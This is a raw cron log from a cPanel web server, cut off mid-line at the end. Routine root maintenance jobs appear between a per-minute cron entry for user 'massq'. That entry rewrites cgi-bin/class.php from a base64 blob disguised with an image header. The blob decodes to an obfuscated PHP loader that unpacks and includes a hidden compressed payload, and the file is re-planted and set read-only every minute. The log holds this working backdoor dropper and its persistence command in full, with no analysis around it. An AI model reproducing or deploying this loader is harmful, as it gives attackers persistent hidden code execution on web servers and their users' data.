Nov 11 13:46:01 server CROND[10851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:47:01 server CROND[11706]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:48:01 server CROND[12175]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:49:01 server CROND[13077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:50:01 server CROND[13726]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:50:01 server CROND[13727]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 13:50:01 server CROND[13728]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:50:01 server CROND[13729]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 13:50:01 server CROND[13730]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:51:01 server CROND[14527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:52:01 server CROND[15220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:53:01 server CROND[15866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:54:01 server CROND[16687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:55:01 server CROND[17628]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:55:01 server CROND[17630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:55:01 server CROND[17629]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:56:01 server CROND[18436]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:57:01 server CROND[19252]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:57:01 server CROND[19253]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 13:58:01 server CROND[20063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:59:01 server CROND[20881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 